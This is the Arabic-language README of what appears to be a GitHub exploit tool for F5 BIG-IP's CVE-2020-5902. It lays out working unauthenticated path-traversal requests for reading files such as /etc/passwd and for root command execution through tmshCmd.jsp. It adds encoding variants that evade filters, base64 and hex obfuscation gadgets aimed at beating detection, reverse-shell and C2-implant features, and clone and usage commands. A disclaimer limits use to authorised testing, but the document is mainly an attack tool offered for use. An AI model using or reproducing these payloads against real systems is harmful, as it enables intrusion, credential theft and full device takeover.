F5 BIG-IP هي منصة لتسليم التطبيقات وأمنها تُستخدم على نطاق واسع في بيئات الشركات. تُعد CVE-2020-5902 ثغرة أمنية حرجة في TMUI قد تسمح، في الإصدارات غير المُصححة، بالوصول غير المصرح به وتنفيذ التعليمات البرمجية عن بُعد، مما يعزز الحاجة إلى التحديث والإدارة المستمرة للثغرات الأمنية.
أداة استغلال (Proof-of-Concept) للثغرة الحرجة الخاصة باجتياز المسار / تنفيذ التعليمات البرمجية عن بُعد في واجهة إدارة حركة المرور (TMUI) في F5 BIG-IP.
⚠️ لأغراض اختبار الاختراق المصرح به والبحث الأمني فقط. الاستخدام غير المصرح به ضد أنظمة لا تملكها أو ليس لديك إذن كتابي لاختبارها غير قانوني. لا يتحمل المؤلف أي مسؤولية عن إساءة استخدام هذه الأداة.
F5 BIG-IP هي عائلة من الأجهزة الشبكية متعددة الأغراض (موازنات الأحمال، جدران حماية تطبيقات الويب WAF، وحدات تحكم تسليم التطبيقات) المنتشرة في غالبية شركات Fortune 500 والمؤسسات المالية ومنظمات الرعاية الصحية والوكالات الحكومية حول العالم. تُعَد واجهة إدارة حركة المرور (TMUI) — التي يُشار إليها أيضًا باسم أداة التكوين (Configuration Utility) — بوابة الإدارة المستندة إلى الويب، ويمكن الوصول إليها عبر المنفذ 443 (أو 8443).
في يوليو 2020، كشفت F5 عن CVE-2020-5902، وهي ثغرة حرجة (CVSS 9.8) في اجتياز المسار بدون مصادقة في TMUI، تسمح لمهاجم عن بُعد غير مُصادَق عليه بـ:
خلال أيام من الكشف العلني، لوحظ استغلال واسع النطاق في البرية، بما في ذلك من جهات فاعلة تابعة لدول.
تم بناء TMUI على Apache Tomcat، وتستخدم مرشح servlet لفرض المصادقة على الموارد المحمية. تكمن الثغرة في كيفية تحليل Tomcat لمقاطع المسار المفصولة بفواصل منقوطة (;).
يؤدي الطلب التالي إلى تجاوز المصادقة بالكامل:
GET /tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd
لماذا ينجح هذا؟
/tmui/login.jsp (ينتهي قبل ;) — وهي صفحة تسجيل الدخول العامة — فيسمح بالطلب./..;/ على أنه اجتياز مسار (/../) قبل الإرسال.fileRead.jsp بدون مصادقة.┌──────────────────────────────────────────────────────────────────┐
│ Client Request │
│ GET /tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp │
└────────────────────────────┬─────────────────────────────────────┘
│
┌───────────────▼───────────────┐
│ Tomcat Servlet Filter │
│ Sees: /tmui/login.jsp ✓ │
│ (public endpoint → ALLOW) │
└───────────────┬───────────────┘
│
┌───────────────▼───────────────┐
│ Tomcat URL Resolver │
│ Resolves: /..;/ → /../ │
│ Final path: /tmui/locallb/ │
│ workspace/fileRead.jsp ← 🔓 │
└───────────────┬───────────────┘
│
┌───────────────▼───────────────┐
│ fileRead.jsp (no auth check) │
│ Reads arbitrary files as root│
└───────────────────────────────┘
يقوم servlet tmshCmd.jsp (الذي يمكن الوصول إليه أيضًا عبر نفس أسلوب الاجتياز) بتمرير المعاملين command وutilCmdArgs مباشرة إلى tmsh (شل إدارة BIG-IP)، والذي يغلّفهما داخل run util bash -c '...'. وهذا يوفر تنفيذ أوامر نظام تشغيل على مستوى الجذر بدون مصادقة:
POST /tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp
command=run+util+bash+-c+'id'&utilCmdArgs=-c+'id'
Phase 1: Reconnaissance
└─ TCP banner grab (HTTP/TLS fingerprint)
└─ SSL certificate analysis
└─ HTTP headers fingerprint (Server, X-Powered-By, Set-Cookie)
└─ BIG-IP version estimation from /etc/f5-release
Phase 2: Vulnerability Check
└─ Iterate over 6 traversal encoding variants
└─ Test against 4 known-readable sentinel files
└─ Confirm output matches known indicators (root:x:0:0, BIG-IP, etc.)
Phase 3: Exploitation
├─ Vector A: tmshCmd.jsp (primary RCE)
│ └─ Command obfuscated via base64 / hex-encode gadgets
├─ Vector B: fileRead.jsp + command injection in fileName param
│ └─ OS command injected into the fileName parameter
└─ Vector C: Log poisoning (User-Agent injection → read access_log)
Phase 4: Post-Exploitation (optional)
├─ Interactive shell (command REPL)
├─ Reverse shell (4 concurrent one-liners)
├─ LFI brute-force (30 sensitive paths, parallel)
└─ C2 implant deployment (Sliver / Metasploit / custom)
| المتغير | الحمولة |
|---|---|
| قياسي | tmui/login.jsp/..;/tmui/... |
| فاصلة منقوطة مشفرة | tmui/login.jsp/..%3b/tmui/... |
| ترميز URL مزدوج | tmui%2flogin.jsp%2f..%3b%2ftmui%2f... |
| نقاط يونيكود (dot-dot) | tmui/login.jsp/%2e%2e;/tmui/... |
| تباين حالة الأحرف | TMUI/login.jsp/..;/tmui/... |
| التباس الدليل | tmui/login.jsp/..;/tmui/locallb/workspace/../workspace/... |
تطبّق الأداة واحدة من أداتي إخفاء في كل عملية تنفيذ، مما يجعل اكتشاف التوقيعات الثابتة أكثر صعوبة:
# Gadget 1 — Base64 encode/decode pipeline
bash -c {echo,aWQ=}|{base64,-d}|bash
# Gadget 2 — Hex-byte printf evaluation
eval "$(printf '\x69\x64')"
| فرع BIG-IP | النطاق المعرض للثغرة | الإصدار المُصلَح |
|---|---|---|
| 15.x | < 15.1.0.4 | ≥ 15.1.0.4 |
| 14.x | < 14.1.2.6 | ≥ 14.1.2.6 |
| 13.x | < 13.1.3.4 | ≥ 13.1.3.4 |
| 12.x | < 12.1.5.2 | ≥ 12.1.5.2 |
| 11.x | < 11.6.5.2 | ≥ 11.6.5.2 |
أجهزة BIG-IQ وBIG-IQ Centralized Management وF5OS وTraffix SDC غير متأثرة بهذه الثغرة تحديدًا.
!revshell و!c2 و!read و!brutegit clone https://github.com/DevRafaelprogrammer/F5-BIG-IP.git
cd F5-BIG-IP
pip install requests pycryptodome urllib3
المتطلبات: Python 3.10+
python CVE-2020-5902.py [-h] [--port PORT] [--proxy URL] [--no-recon]
[--cmd CMD] [--shell] [--lfi-brute]
[--revshell LHOST LPORT]
[--c2-url URL] [--c2-type TYPE] [--c2-args ARGS]
target
# 1. Vulnerability check only
python CVE-2020-5902.py 192.168.1.100
# 2. Custom port + single command execution
python CVE-2020-5902.py 192.168.1.100 --port 8443 --cmd "id && uname -a"